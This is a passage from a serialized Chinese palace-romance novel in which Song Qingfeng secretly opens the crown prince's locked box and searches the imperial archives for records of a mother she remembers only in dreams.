宫内响起兵荒马乱的声音,乱套了。 他小小的人与她道:“有些是我的人,故意弄得乱一些。” 弄乱一些。 宋轻风在多番挣扎之后,强迫自己醒过来。 天色还没黑尽。 她直着脖子,看太阳的最后一丝余晖消散殆尽,啪地站起身来,就往外跑。 乌梅又绿在外头担忧地守了一整日,见她这般模样,更是快要哭出来了。 乌梅一把扯住宋轻风的衣袖道:“娘子您还要做什么啊?” 宋轻风道:“去弄乱一些。” “……” “乱了,才能有机会。” 乌梅放了手,娘子如今终于振作起来,要与那白娘子争宠去了! 她忙追在身后叮嘱道:“娘子,今夜便是败了也没什么,咱来日方长。” 宋轻风跑到半路,却不自觉缓下脚步。 落日已尽,宫灯已起。 在这陌生的宫闱中,四处是巡逻的守卫,锵锵的脚步声。 却见方华殿内灯火通明,外头守卫森严。 高守不在,却是另一个侍卫守在檐下,瞧见她来,忙拦住她道:“宋娘子且慢,容臣进去通禀。” 宋轻风点了点头,却还是晨时的借口道:“我来为殿下整理衣物。” 那侍卫推开殿门进去了。 宋轻风站在檐下等了不过片刻,便见全福出来,一向挂笑的脸今日却有些凝重,只是与她道:“宋娘子您请进吧。” 宋轻风跟着他进了内暖阁。 暖阁内熟悉的沉郁味道冲入鼻端。 这才恍然发觉,自己居然已近一月未曾来此了。 先头在这里住了好几天,而今瞧来此处却又陌生的紧。 仔细一闻,这沉郁的香气里,还有一股陌生的清香,是女子惯用的味道。 想来而今住在此处的,另有其人。 全福道:“娘子您稍等片刻,殿下还在体顺堂,一会就来。” 这个时候人却在寝室? 宋轻风是过来人,当即面色发红,不敢提去体顺堂侧室整理衣物的事。 又怕打搅了殿下的兴致,忙摆手道:“不急不急,千万别急,我没什么要紧事。殿下若是没空,不见也是行的。” 她来此也不是为了见太子。 全福也不多言,当即就转身急匆匆地走了。 宋轻风目光四处扫了扫,架子上那个锦盒果然并没有出现。 只是角落里却多了个大盒子。 她好奇心起,当即走上前去,好在这盒子没上锁,打开来里头却摆满了许多奇特的小玩意。 随意扫过去,每个都很眼熟。 她记忆力一向过人,不过飞快扫了一眼,就认出这些东西,全都是在苍西镇的集市上有卖的。 她那时每个都仔细瞧了一通。 如今却出现在这里。 他什么时候买的? 那个时候带着自己在一块逛的时候,他看起来没甚兴趣,却原来早就已想好要买回来送人了。 她看着满满一箱子的玩意,忍不住有些羡慕那个白娘子。 太子这个人,原来并不如表面看起来这般冷漠。 遇到喜欢的女子,也是能这般心细周到的。 他们这般浓情蜜意,倒显得自己在中间有些碍眼。 还未想完,却听门帘轻响,听脚步声,就知是太子进来了。 宋轻风转身乖乖地跪下行礼。 李岏瞧见她矮身跪在身前,倒是有些愣住了,欲要弯腰扶她起来,可是刚上药的伤口裹着白纱,僵直疼痛。 全福忙搀了他在一旁的矮榻上坐了。 他这才开口道:“起来吧。” 宋轻风起身,忍不住看了看他。 昨夜天色已黑,只在朦胧烛光中见他,而今这屋内烛火透亮,瞧得出来人有些清减了,眼下的红痣却鲜红依旧。 若是没有这颗痣,她大概要以为那个梦中出现的小男孩,就是他了。 李岏见她看着自己出神,面色有些苍白,忍不住轻声问道:“去看过随云殿了吗?喜欢吗?” 随云殿? 宋轻风一愣,才想起乌梅方才似乎提过,她们马上要搬去的地方好像就叫随云殿,就在方华殿隔壁。 与破云院比起来,位置确实好上太多,里头的布置,更是少有的精致。 又绿嘀咕道,那位白娘子给她们挑的地方,好像确实还不赖,若不是靠抢破云院换的,那就完美了。 乌梅却翻白眼道,她哪里那般好心,分明就是想炫耀自己在殿下面前的分量。 宋轻风并未在意,也未去瞧过,此刻只是胡乱点头道:“看过了,很喜欢。” “喜欢就好。” 李岏道:“病来如山倒,病去如抽丝,你要多躺着好生静养,少走动才是。” 一旁的全福忍不住侧目,心中道殿下您也是啊。 宋轻风垂下眼睑,点头道:“是,以后定少走动。” 两人都住了口,一时不知说什么。 宋轻风没话找话地道:“怎么没见白娘子?” 李岏道:“她该是歇下了。” 白日里被皇后宣去,听闻皇后还宣了后宫的一众妃嫔,都是位高的长辈,她便站在在紫晨殿内,站了大半日,至晚方放回来。 “哦。” 李岏见她神色落寞,忍不住道:“她与孤有些渊源,孤绝不能眼见她受委屈被人利用。待此间事了,孤会将她好生安置了,你莫要误会。” 宋轻风却已余光瞧见顺意进来了,更令她心跳加速的是,他的手中捧着的,居然便是锦盒! 听闻太子的话,她也不知听清了没有,只是胡乱地点了点头道:“哦。” 满腹心思却已全被那锦盒吸引。 果然,她没有记错,果然这盒子上的锁,与她那只木盒如出一辙。 顺意躬身走到近前,小心翼翼将那锦盒放在了殿下的手边。 李岏转头看着盒子,下意识摸了摸盒身。 宋轻风死死地盯着,方欲开口,却听门外有小太监的声音。 “太子殿下,白娘子已收拾好了,正等着殿下。” 李岏皱了眉,方要问她这时候等着我做什么。 话未出口,却猛然想起,今日晨间,她去内宫之前,自己便下了令给内侍省,叫她早些回来,晚间来伺候。 不为别的,只是为了叫宫内的人有个忌惮。 哪知自己居然将此事给忘了! 他慌忙去看宋轻风,却见她睁着黑沉沉的眼睛,也看着他。 李岏有些尴尬地咳嗽了一声,想要解释又觉得苍白无力。 这些人,早不来报晚不来报,为何这个时候来! 宋轻风见他还坐在榻上一动不动,当即道:“我是不是,该走了?” 但她好不容易来此,好不容易看到锦盒,口中只是说着走,脚步却一动未动。 李岏当即摆手道:“不,不必。” 场面安静地落针可闻。 她一动不动地站着,虽然什么也没说,但倔犟地站着,目光中分明都是质问。 李岏一时如坐针毡,背上出了薄薄的一层汗,想要说自己什么也没做,却又不能说,好一会,他起身道:“我去去就来,等我。” 宋轻风重复道:“不急,不急。” 希望他千万不要急,好好发挥能力,自己需要一些时间。 李岏去了侧间。 白娘子果然收拾妥当,穿戴整齐地站着。 他心不在焉地道:“累了一日,早些歇息吧,孤先走了。” 白娘子目中的失望一闪而过,而后却笑了起来,扯住太子的袖子道:“殿下这么快走,是不是传出去不太好?” 李岏走到桌案坐了下来,见白窈窈自觉地坐到了远处的榻上。 他盘膝坐在窗边,脑中却突然想起方才宋轻风的眼神。 她看着自己来此,那是什么眼神? 里头分明是好奇,是探究,甚至有些急迫。 却少了其他的什么…… 太子走了,暖阁内的人也散去了大半。 宋轻风支走了剩下的人,一把就扑到了锦盒旁。 她从荷包里颤颤巍巍地拿出那把配了多时的钥匙。 手颤抖地插了好几次,才准确地插进去。 转动中,只听“咔”地一声,锁开了。 她打开盒子,一眼却见这盒中,包着两个东西。 其中一个,赫然却又是一把钥匙!—— 作者有话说:亲们,一般都是夜里更, 晚安,么么~[亲亲] 第64章 第 64 章 娘亲 宋轻风似乎听见自己的心跳, 在耳边轰鸣。 为什么会这样? 不待她想清,在这咚咚咚心跳之中,突然传来一声幽魂似的声音。 “宋娘子。” 宋轻风吓得浑身一抖, 一把关上了盒子,余光早瞧见桌案上的鹤颈烛台,衣袖一带就将烛台拉了下来。 白烛翻倒, 落在矮榻上。 火苗瞬间舔上了锦缎, 滋啦作响,锦缎瞬间着了火。 顺意慌地手中的食盒都跌了地, 里头的点心撒了一地也顾不得,他一把来抢桌案上的文书。 这文书可比他小命还要值钱。 可这桌案四周散落着太多文书,他左右抱了满怀, 再也腾挪不开手去灭火, 眼瞧着火也越烧越大。 顺意一面想要呼救,可殿下此刻人就在后殿,又怕动静太大惊扰了殿下。 转头却见宋轻风已脱下外衫,拍打着火, 一面与他道:“快出去叫人, 别闹大了动静。” 宫内走火,此事可大可小。 顺意一跺脚,抱着满怀的文书跑往外头去叫人。 宋轻风一把丢下手中着火的衣裳, 重又打开盒子。 钥匙瞧起来,竟与她配的如出一辙。她心中冒出奇怪的想法, 或者这个, 便是那把锁的钥匙。 只是盒子里还有一个纸包裹着的东西,拿在手中,很轻, 轻的像是里头没有东西。 纸张似乎已多年了,摸到手里有些脆响。 还未打开,却听门口已有匆匆脚步声。 宋轻风再来不及,一把将盒子关起,“卡擦”一声,瞬间上了锁。 此刻焦糊味才涌入了鼻端,屋内已是乱糟糟一团。 顺意顾不得烫,一把从黑糊糊里捞起盒子,仔细打量一眼道:“还好还好,没烧到。” 众人一阵“扑扑”地倒水,火势不大,瞬间就熄灭了。 全福站在一旁,锁了眉头看了看宋轻风,好一会又摇了摇头出去了。 宋轻风被他看的掌心忍不住出汗。 好在只烧了垫子,众人七手八脚,很快换了个干净。 除了屋内还余的一丝味道,倒是半点痕迹也没有了。 顺意见她一脸紧张,面色发白,却凑过来安慰她道:“娘子不必担心,奴婢瞧见您方才是被奴婢吓到了,无意中打翻了烛台,殿下想是不会怪罪的。” 宋轻风见他自己面色也很是紧张反倒来安慰她,一时生了愧疚道:“抱歉,给你们添麻烦了。” 顺意连连摆手道:“不敢不敢。” 宋轻风扯了嘴角勉强露出一丝假笑来道:“我先回去了,殿下若是怪罪,直管往我头上推脱就是了。” 说着也不等顺意答话,自己抬脚就走了。 走时神色慌张,没瞧清路,险些撞在了屏风上头。 行到半路,却听身后传来急匆匆的脚步声。 她方转身,却见一人提着灯笼下险些撞上。 却是李岏。 他形色匆忙,瞧见她,举了灯笼细细打量了一眼,见她只是眼圈发红,其余倒没什么异常,这才放下心来道:“方才没伤到你吧?” “您怎么过来了?” 李岏道:“方才我在后殿,没听到动静。” “对不起啊,我又闯祸了。耽误了您和白娘子……” 李岏却眸中含了隐约笑意,道:“我知道你心里不开心,只是打翻烛台太过危险,以后要么我们换种方式?” “啊?” 宋轻风瞧见他,烛火下面庞白皙,眉眼如烟,眼下的红痣隐约可见。 她突然心中一动,问道:“您,您眼下这颗痣,是天生的吗?” 哪知李岏听闻,笑意骤然消失,面色也冷了几分,低声道:“为何这么问?” 宋轻风忙转了头看向旁处道:“哦,没什么,只是觉得,或许,可能……” 李岏打断她道:“夜深了,你早些去休息吧。”。 “啪嗒”,有东西掉落在地。 宋轻风一眼瞧见,一步跑过去捡起来,瞧见这东西透着碧绿,触手温润,形态却像是只小葫芦。 模样很是玲珑可爱。 她好奇地左翻翻右翻翻,爱不释手。 “乖女儿。”一个陌生又熟悉的女子声音自头顶响起,“好玩吧?” 宋轻风心中一惊,抬起头来,阳光穿过树叶,刺入双眼。 说话的人背着光影,长发束在发顶,发尾在迎风招摇,只是面目隐在光影之下,瞧不清楚。 她却蹲下身来,看着宋轻风手中的葫芦形状的玉。 宋轻风讷讷地递给了她。 她却道:“难得我女儿喜欢,喜欢就拿去玩吧。哎,你说要不要为娘在上头打个洞,这样我们风儿戴着玩?” 宋轻风这才瞧清她,长眉高挑,目若星子,嘴角挂着灿烂的笑。 只是她一直叫自己什么? 她心跳加速,呆在了当场。 “哎,”她笑道,“你怎么还发呆,难道是被这京师繁华迷晕了眼?” “唉,瞧这傻样,为娘我该多带你出来见见世面才是。” 但是却听到稚嫩的声音自自己的口中冒出来:“昨日瞧的话本子上说道,两片玉合而为一,就作为相认的信物,要不娘亲你将它分了,我们各戴一个,这样以后我们也能认出来彼此?” 那女子低下身来,笑得直不起腰,好一会才道:“好吧,听你的。” 说着却听争的一声,一道刺目的光闪过,清脆的声响还在耳畔。 一柄宝剑抽出,那片玉葫芦被劈成了两半。 宋轻风呆在当场。 那女子却点了她的鼻子笑道:“乖女儿,发什么呆啊。我知道为娘耍剑的时候实在耀目,可你也不必这么夸张吧?” 见她得意的眉飞色舞,宋轻风喉头哽咽,一时说不出话来。 她一直乖女儿?一直说得为娘? 娘?这么陌生的词。 难道这个年轻的女子,就是我娘吗? 这不是梦吧? 她使命掐了掐手背,果然半点疼痛也无。 宋轻风心中心灰意冷。 她却好似没有发觉女儿的异样,立起身来,半眯着眼睛,一脚蹬在了旁边的大石头上,唉声叹气地道:“唉,待会我要去参加讨厌的武勋大典,唉这帮子人真是烦人啊,搞什么破大典,但为娘我却又不得不参加,躲也躲不开,不能陪你玩了。” “你先自己一个人玩会吧。” 她自顾道:“不过为娘今日给你寻了个好去处,那个小孩板着脸逗起来可好玩,你待会就去逗逗他打发时间吧。” 说着她却撩开衣摆,不见如何动作,飞跃而起,落在了身旁的马上。 宋轻风从惊异里回过神来,一把抓住马鞍道:“你去哪?” 那女子道:“我走了,乖女儿乖乖地等我来接你,回来给你带大典的点心和糖吃。” “说起来这宫内的糖,做的可真心不错,格外的甜呢。” 宋轻风紧紧抓住马鞍,嗓子干哑,急切地道:“不要走,你不要走。” 那女子却似没听到她说得话似的,双腿一夹,白马长啸一声,马鞭在空中响起清脆的声响。 在飞驰而走之前,又想起什么似的,与她叮嘱道:“这宫里你随便耍,想去哪玩都成,要是有人敢欺负你,你就报出娘的名号,若是对方不买账,就等着为娘回来教训他。” “不,不要走。” 宋轻风拼命摇头,手中却抓了空,只见披风在风中飞扬,人与马留下一道刺目的烟尘。 “不要走,娘。” 她飞驰的身影却很快消失在视野中。 宋轻风蹲在地上,感到浑身如坠黑暗,心口喘不过气来,过了好一会才忍不住大哭了起来。 虽然只是做梦,但她就是知道。 娘没有回来接她。 但是,她又去哪了? 黑暗里,“啪嗒”一声响,宋轻风擦净了脸上的泪,将落在地上的半片玉葫芦捡起。 她抖着手,从荷包里掏了好一会,才掏出另一只来。 两片葫芦,却拼成了一个,严丝合缝。 这半片,从她有记忆来,便在自己的身上。 她曾寻过当铺,对方瞧见它时发亮的眼神,便叫她知道这东西价值不菲。 但是便是最困苦之时,她也从未想过要卖掉它。 因为这是她身上,唯一的可能有关她过去的东西。 可是为什么,这个玉的另一半,却埋在东宫的花树下?她还梦到? 为什么? 她寻了这么久的东西,却难道是自己很久以前埋下去的? 可兰哥哥,又与它是什么关系? 他为何,会看着我的玉葫芦发呆,还曾说过,它还有另一半,在皇宫。 他便是死,也要寻回来。 宋轻风一时分不清哪些是胡思乱想的梦,哪些是她遗忘的过去。 她只觉得头痛欲裂,心口如泥沙俱下,塌成了一团。 她抱着两只玉葫芦,一扬脖子喝光了床头黑漆漆的药。 这药安神助眠,叫她在屋内睡了一天一夜。 可或许是药效太好,整个睡梦中都是一片黑暗,她凌乱的脑袋,再想不起来半点…… 皇城司典籍厅,便在皇城的南边,离东宫倒是挨得不远。 宋轻风一个人,寻着记忆里的地图,很快寻到了门口。 门口看守的内侍瞧见她,眼生的紧,一时皱了眉头道:“哪里来的,要做什么?” 宋轻风裹了裹身上绸缎衣裳道:“我是东宫的宋娘子,来查阅点东西。” “东宫?”那看守立时换了笑脸道,“可是太子殿下有什么吩咐?请容许奴婢瞧一眼殿下的手令。” 宋轻风哪里有什么手令,只是硬着头皮讲了早就打好的腹稿道:“没有手令,便不许查么?” 那守卫被她气势所慑,一时有些拿不定主意。 宋轻风道:“若是耽搁了,你可能承担后果?” 说着自袖子里,捡出一块银子来塞了过去。 守卫掂了掂银子的重量,立时躬身道:“娘子您请里面请吧?” 宋轻风心下一松,方要迈步进门,哪知却从里头走出一个红衣官服的人来,他上下打量了宋轻风一眼,训斥看守道:“此乃皇室典籍重地,怎么什么人都敢往里头放!” 守卫忙抱拳连连解释道:“赵大人,这是东宫里来的宋娘子,她受太子殿下之命,前来查阅典籍。” 那赵大人冷笑一声,打量了她道:“宋娘子?就是宁安侯府那位,从外头寻回来的宋娘子?” 宋轻风心急如焚,只盼着能快些进去,她恳求道:“是的,我就只查一点点消息,就一点点,看完马上就出来。” 赵大人一把甩开衣袖,横眉冷对地道:“此中所藏典籍数以万计,别说只查一点点,便是查前日的消息,没有三四个时辰,也休想找出来。” 他是祝首辅的学生,自然知道祝大小姐的心事,便是被眼前这个不知羞耻的私生女搅黄了。 好在而今太子殿下有了新宠,对这宋氏更是冷落至极。 况且,殿下若有吩咐,又怎么可能打发她一个人跑来? 他摸了摸胡须,目中露出冷意来:“娘子既是殿下所命,想必带着殿下的手令?” 说着见宋轻风拿不出来,又一个人跑到此处,他心中愈加笃定,冷笑着道:“此乃皇室典籍重地,非陛下与太子殿下同意,不得参阅。你而今连手令也拿不出来,莫不是假传殿下的令旨?” 宋轻风结结巴巴地道:“我……我,我只是想看看……” 赵大人立时与身旁人道:“还不快些将她轰走,本官看在你是东宫的人,且先不与你问罪,但也别在此胡搅蛮缠,将那些外头使的肮脏手段,用在此处。” 旁边的人受令,一时左右瞧瞧不敢上前。 赵大人冷笑道:“你们怕什么,不过是个失了宠的侍妾,又不是宫里的正经主子,难道还要本大人亲自动手不成?” 旁边宫人得令,立刻上前来撵。 宋轻风浑浑噩噩,想到消失在梦中的女子身影,似乎还瞧见她在远处转过头来看她,叫她等她回来。 可她连她是谁都不知道。 她不知道她是不是真的是自己的娘亲,更不知道,她叫什么名字。 她只是想找到她的名字。 在多年前的武勋大典上,想要找到她的名字。 有了名字,才有过去。 见她站在原地发呆不愿走,一个侍卫伸手,上前来推她。 “走开走开,快点走开。” 宋轻风还欲再求情,一个不妨,等她反应过来,发现自己已被推到在地。 臀部传来一阵闷痛。 她抬起头,瞧见大门就在此处,她却进不去。 那赵大人居高临下地看着她道:“不要再来了,若是下次还叫本官看见你,休怪本官不留情面了。” 说完又与看守的道:“若是再叫本官瞧见你们疏于职守,一个个都滚蛋。”。 宋轻风不知自己是怎么走到方华殿。 只是檐下高守原想要拦她,瞧见她的模样,却突然松了手。 而后方华殿的殿门被一把推开。 殿内许多双眼睛刷刷地看过来。 宋轻风站在门口,这才瞧见殿内站了好些穿着紫红官服的官员。 众人似乎正在议事。 而在最上首坐着的,正是太子。 她讷讷地反应过来,自己来的不是时候。 骤然瞧见殿内被打开,李岏皱了眉头方要呵斥。 不想却见宋轻风站在门口,一身衣裳凌乱,两只手扯着衣摆,脸上泪痕宛然。 声音哽咽,结结巴巴地埋头道:“实在对不起,打搅了。” 说着就要关门出去。 李岏却一把自椅子上站起身来,三步并作两步走到她的面前,看着她眼圈红肿,皱眉问道:“发生什么事了?” 宋轻风抬头看他,见他满面都是熟悉的神色。 他是她在这世间,唯一还存在的关联吧? 宋轻风一时悲从中来,委屈不能自已,一日一夜的混乱与辗转,似乎找到了倾泻的出口。 抱着他就哇哇地哭了起来。 殿内众人面面相觑。 李岏摸了摸她的头,转头与众人道:“先散了。” 众人忙低着头鱼贯而出—— 作者有话说:晚安[玫瑰] 第65章 第 65 章 是谁推了宋娘子 众人埋着头出了殿, 直到离了方华殿,才彼此交换了震惊的眼神。 在场的都是朝中要员,今日这场合的议事, 便是四五品的官员都只有在外头候着的份。 不想今日竟叫一个女子闯了。 这是僭越的大罪,太子殿下居然对她毫无怪罪,还叫大家散了。 这实在是匪夷所思, 叫人心中震惊莫名。 只是众人也不敢真走了, 今日商议的乃是年底要事,半点耽搁不得, 殿下待会势必会叫起人来。 全福将众人引着,往崇明殿去了。 李岏看着怀里又黑又圆的脑袋,肩膀耸动地厉害, 哭声更是凄惨。 他一时竟不知该如何动作, 却又忍不住怒火中烧,与门外的高守道:“傻站着做什么!不知道去看看怎么回事?” 高守被迁怒,不敢耽搁,忙答应着亲自去了。 李岏回过头来, 将她将自己抱得更紧, 只能僵直着身子,回抱住了她。 不知哭了多久,宋轻风才止住了, 将头从他胸口抬起,才瞧见他胸口衣裳一片濡湿。 她回复了理智, 瞬间有些难为情, 抬袖子来想要将那水渍擦掉,不好意思地道:“对不起。” 李岏见她落魄模样,眼睛红肿, 眸色都暗了下来。 宋轻风嗫嚅着,一时不知该如何开口。 她不欲叫他知道,自己想要查的东西。 毕竟,梦中的娘亲,最后便是消失在了这座皇城,一定和这宫里的人脱不开干系。 她不知她的身份,也不知她失踪的缘由,因此并不敢叫太子知道。 可不告诉他,自己根本进不了典籍厅。 她不想错过这唯一的机会。 李岏见她低着头搅着裙边,却没有再开口问询。 不一时,高守却飞奔而来,因是一路行得急,胸口剧烈的起伏,额上还有汗。 他来不及喘息,只是飞奔跪在门边,压下呼吸,将方才宋轻风在典籍厅门口的事一五一十地回禀了。 宋轻风窘迫地低下头,不知太子若是问起她为何要进典籍厅时该如何回答。 好在李岏并没有问,听闻高守的话后只是沉着脸,一股冷冽萦绕在身周。 事已至此,宋轻风索性扑通一声跪下道:“太子殿下,您,您能允妾,前去查看吗?” 李岏低头,见她双眸盈盈,里头满是小心翼翼地看着自己。 他皱了眉,一把抓住她的手,将她拉了起来,而后就往外走。 他的手又白又暖,宋轻风被他牵着,一路从方华殿往南走,经过各处殿宇宫室。 路上的宫人见他步行,纷纷避让跪在一侧。 便是扫见身旁跟着个女子,也无人敢看上一眼。 他抿着唇不说话,面上也毫无表情,宋轻风却心中惴惴。 瞧见典籍厅在眼前的时候,她才确信,他确实是带她来了此处。 典籍厅的人得了消息,神色慌张,匆忙地跑到门外来跪迎。 李岏扫也未扫众人一眼,也未说话,拉着她就往里去。 穿过狭长的院落,来到了一处宫室前。 紧追其后的主薄忙躬身上前开了门。 一股沉郁纸张裹挟着墨水的味道扑面而来。 正是白日里,屋内却有些黑。 宋轻风眯着眼,瞧见屋内比她的两个破云院还大,里头摆满了一座座书架,每个书架上头堆了满满的卷宗。 一眼竟瞧不见头,密密麻麻全都是。 这些卷宗与藏书阁的又有不同。 藏书阁的书是书脊朝外,方便旁人翻找的,而这架子上的宗卷,却全用一样颜色的厚纸裹了,上头还打了封贴。 光是瞧起来,每个卷宗竟都长得一模一样。 这样多如牛毛的卷宗里,要寻出她要的那一份,甚至可能只是几句话,谈何容易。 主薄忙侍奉太子殿下落座,又忙使人去奉茶点。 李岏拉着宋轻风在主位分别落座,冷着脸道:“武勋大典的卷宗。” 主薄忙应是,又凑过来小心问询道:“太子殿下,您是想要哪一年的?” 这武勋大典,从开朝以来,隔三年就办上一回,至今已办过上百次。 李岏冷凉的眸子抬起,扫了一眼已叫主薄浑身发软,他冷笑道:“你在问孤要哪一年?” 主薄恨不得扇自己一巴掌,连连点头谄笑道:“是,是,奴婢知道了,奴婢定全都寻出来。” 李岏道:“要等上三四个时辰吗?” 太子殿下亲自坐在此处等着,虽然没说什么,但威压已叫他浑身冷汗贴了衣背。 主薄怎么敢叫他老人家等上这许久,只恨不得立刻马上将东西全都奉上来,慌忙擦汗道:“不敢,不敢,奴婢立刻叫人去寻。” 说着立时转身吩咐,二十几个内监匆忙躬身进来,先是跪下磕头,而后如游鱼入水一般,飞奔到各个书架前翻找了起来。 人虽多,却如幽灵一般,只有纸张的翻页声。 宋轻风道:“谢谢您。” 而且他故意不说年份,便是有心之人,也难以想到她寻这上百份的东西是要做什么。 更不会想到,她只是想从中找出一个名字来。 李岏看着她道:“无妨。以后若是有需要,也可以直接来寻我。” 宋轻风咬了唇,搅着手点了点头道:“嗯。” 此时皇城司管领,并晨时的那位赵大人,得到了消息匆匆赶来,瞧见门内情形,两人心中惴惴,只是站在门外候着。 赵大人认出在殿下旁边的正是那个宋娘子,一时双目眩晕,险些站不住。 宋轻风并未瞧见外头的动静,她只是紧张地看着那些寻宗卷的内侍,这些人手指翻飞,片刻不停,纸张在手下如生了翅膀一般飞速翻动着,令人眼花缭乱。 而后有人寻到了,便带着卷宗飞奔上前来。 不一时,厚厚地地一叠卷宗被捧了来。 这么短的时候,居然寻出来了这么多份卷宗!宋轻风震惊地瞠目结舌。 李岏面上却淡淡的,只是示意将东西放到隔壁的侧殿去。 而后与宋轻风道:“去吧。” 宋轻风感激地看了他一眼,一屁股爬起来,就往侧殿去了。 李岏自己却一动未动,看着关起的侧殿的门,捧起茶来喝了一口。 眼皮微掀,扫了一眼门外道:“进来吧。” 皇城司管领并赵大人忙躬身入内,行礼问安。 管领谄笑着又道:“怎么敢劳烦太子殿下您亲自来,您只需吩咐一声,奴婢送去方华殿就是了。” 李岏放下茶盏,嘴角挂着冷笑道:“是吗?你们眼里还有孤?” 众人只觉得他浑身突然被冷意蔓延,方才的淡漠消失不见,却隐隐现出戾气来。 他面上没有发怒,几人却已觉得一股令人悚人的威压扑面而来。 屋内屋外众人扑通一声跪在地上,噤若寒蝉,浑身止不住发颤。 管领撑着的双手发抖,他还不知晨时发生的事,只是颤颤巍巍地道:“太子殿下,便是借奴婢十万个胆子,奴婢也不敢怠慢殿下您啊。” 李岏道:“不敢怠慢?宋娘子是我东宫的人,连她亲自来了,你们都敢欺辱?” 晨时在门外的人并赵大人,浑身发软,失了力气。 赵大人心中后悔不迭,若是知道这宋娘子还在殿下心中哪怕半点分量,他也不敢招惹啊。 可分明先头宫中都传她彻底失了宠啊! 李岏眉眼间如覆了霜雪,在一众脊背上一扫,声音如淬着冰:“是谁推了宋娘子?” 门外立时有几个内侍浑身抖如筛糠,爬了出来。 李岏目光如刀,藏着令人心悸的毒锋,一字一字地道:“将手砍了。” “是。”高守领命,几个东宫卫立时将几人拖了出去。 惨叫声远远地传了过来,在场的人已吓得瘫软在地,汗如雨浆。 赵大人更是面如死灰,但他是翰林院秉笔,一向在陛下身边,为陛下代笔草拟,写的一手好字,做的一手好文章,深得陛下和祝首辅看重,可谓是清贵已极。 他晨时虽冒犯了宋娘子,但她不过一个东宫侍妾,连九品都无,而他却是正儿八经的从三品。他想着怎么也罪不至死,遂磕头道:“太子殿下,臣……臣该死,臣是一时被猪油蒙了心,您饶了臣,臣以后再不敢犯了……” 李岏见他,心下更是厌恶已极。 这样的文人,当真是自诩清高,令人作呕。 李岏不顾他砰砰乱磕的头,只是与人吩咐道:“拉去重华门外跪着,掌嘴一百。” 赵大人浑身的血涌上了脸颊,又瞬间褪去,一时又红又白,精彩纷呈。 重华门是宫外官员入宫的必经之地。 让他跪在那里,众目睽睽之下被掌嘴,只比杀了他还要叫人难堪—— 作者有话说:晚安啊~ 第66章 第 66 章 太子妃 赵大人欲要争辩, 高守却没给他半点机会,直接命人捂嘴拖走了。 剩下的人两股战战,双腿发软, 好在本就跪在地上,才没有瘫软在地。 这宫城内,太子殿下的名号一出, 几乎却无人不惧。 许是他年少时曾在沙场, 杀伐决断从不手软,总是叫人忘了他不过是个不满二十的少年。 此刻他正身坐着, 不再说话,目光在堂内外淡淡扫过,跪了一地的众人心胆俱裂, 面如死灰, 恨不得嫌呼吸都是多余的。 殿内外一片死一般的寂静。 连远处的惨叫声都不见了。 阳光自门窗透进来,李岏捏了捏额角,看向了一旁紧闭的侧门。 里头也是悄无声息。 不知她翻出什么自己想要的消息没有? 她没说自己到底要找什么,他自然也没有问。 在这世上, 每个人都有属于自己的秘密。若是想说, 自然会告诉他。 他盯着侧室的门发了神,彷佛要在上头瞧出个洞来。 若说不好奇那是不可能的。 甚至他已无心再做任何事,只想静静地等着, 等着她出来。 光影转动,不知过了多久, 远处却突然传来急促的脚步声。 声音叫在场众人麻木的心头忍不住颤动。 李岏向院门看去, 便见一青衣东宫卫跨门而来,瞧那步伐速度,定是有要事。 他眉心微皱, 挥了挥手,屋内跪了一地的人如蒙大赦,纷纷出了门。 高守立即放人到近前说话。 那侍卫上来就行礼,压低了声音道:“太子殿下,不好了出事了。” 说着他约略说了一番,李岏听闻自椅子上起身,看了一眼依旧闭着的侧门,抬步走了…… 宋轻风自侧室出来的时候,整个人都有些恍恍惚惚。 整整一百多份关于武勋大典的卷宗,摆了满满一地。 可是她要找的却只是其中几份,近十几年的卷宗。 自前年,一直找到她出生之时。 其实不过一炷香的时候,她便已全都翻了一遍,可是怕遗漏,怕出错,她反反复复看了好几遍,甚至每个字里行间出现的名字,都要反反复复确认好几遍。 武勋大典,每三年便会办上一次,是彰显我朝武力的极为重要的时机。 每次大典参与人数众人,事项庞杂,令人眼晕。 可能参加此等大典的女子,却是屈指可数,在反复比较确认之后,只剩下一个名字。 白楚楚。 这个名字,不知为何在一众名字中,第一个就跃进了她的眼睛,再难逃脱。 她怕自己被迷惑,特意跳过她,可她出现在十二年前的每一页里,字里行间,都是耀眼,夺目。 是令所有人仰望的对象。 想要避开她的名字,想要跳过她的名字,难如登天。 可是十二年前的那场武勋大典之后,她的名字,便再也没有出现过。 那她这样的人,后来为何消失的无声无息了? 她入京这么久,也从未听人提起过她。 不,有人提起过。 唯一一次听闻这个名字,便是一个月前,在那个半山腰上。 太子手腕上的那根金色手镯,追影。 他说,那是一个人赠予她的,那个人的名字,叫白楚楚。 他们原来一早就认识吗? 想到他可能认识白楚楚,宋轻风忍不住呼吸急促,可是按着时间来算,当时他也不过六七岁的年纪,他还记得什么吗? 宋轻风抓了抓身侧的荷包,脑袋却有些混沌了。 兰哥哥与她,又是什么关系? 她难道真的是自己的娘吗? 梦里她笑容如阳光般灿烂,摸着她的脑袋叫她乖女儿。 她消失的背影,越来越远,怎么抓也抓不住。 她就这样消失在这个皇城。 也消失在所有人的记忆里,甚至连卷宗里,都一点踪迹也无。 甚至连她自己,她的亲生女儿,也忘记了她。 宋轻风感到浑身发冷,冷气从脚底钻向发顶,不一会便觉得浑身麻木,牙齿打颤。 打开门。 阳光自窗缝投进来,粉尘在光线里飞舞,但是外头空空如也,椅子空着。 太子不知何时已不在了。 他手边的那盏茶还放着,里头的茶水似乎半点都没少,已经凉透了。 一屋子静悄悄的,没有半点声响。 她对着空荡荡却又塞满了卷宗的屋子出了一会神。 好一会才迈开脚步,往外头走。 走了不知多久,才走到破云院门口。 她浑身没劲,只想快些躺下睡个好觉,哪知一进门,却见院子里乱糟糟的。 一个细长的宫女,正指挥着一帮太监在院子里忙活,搬来搬去。 众人忙得热火朝天,并没有一个人瞧上她一眼。 宋轻风瞧见那个后建小厨房已快不见了,只余一堆残砖碎瓦,而墙角,她埋了不久的桂花冬酿酒,还没来得及挖走,已倒在地上,里头的酒撒了一地,已沁入泥里。 嘎嘎站在屋顶上,居高临下地看着,时不时飞下来啄一口下头的人。 那些人一巴掌打过来,口中骂道:“哪里来的扁毛畜牲,竟是捣乱。” 几个回合,嘎嘎就败下阵来,只能气急败坏地绕在头顶。 不一时突然眼睛一亮,嘎嘎俯冲下来,落在宋轻风的肩上,叫声都满是委屈。 分明是想叫她将这些人都撵走。 它的家可就在这屋顶的瓦片底下呢! 宋轻风摸了摸它的黑毛,她自己都被撵走了,怎么还好为嘎嘎主持公道呢。 